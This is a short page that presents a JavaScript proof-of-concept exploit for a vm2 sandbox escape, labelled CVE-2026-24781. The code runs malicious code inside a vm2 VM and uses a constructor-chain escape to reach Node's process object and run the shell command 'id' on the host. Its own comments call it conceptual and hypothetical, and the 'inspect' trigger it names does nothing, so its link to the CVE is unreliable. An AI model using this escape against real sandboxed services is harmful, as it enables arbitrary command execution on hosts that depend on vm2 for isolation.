CVE-2026-24781 vm2沙箱逃逸致远程代码执行漏洞

const {VM} = require('vm2'); const vm = new VM(); // Conceptual PoC for CVE-2026-24781 // Exploiting the inspect function to break out of the sandbox const maliciousCode = ` (function() { try { // Attempting to trigger the vulnerability via inspect // This logic represents how an attacker might manipulate the inspect interface const obj = {}; // Hypothetical trigger point based on the vulnerability description const inspect = obj.inspect || function() {}; // Malicious payload aiming to escape const escape = function() { const Process = this.constructor.constructor('return process')(); return Process.mainModule.require('child_process').execSync('id').toString(); }; return escape.call(obj); } catch (e) { return e.message; } })(); `; console.log('Attempting to run exploit...'); try { const output = vm.run(maliciousCode); console.log('Exploit Output:', output); } catch (e) { console.error('Execution failed:', e); }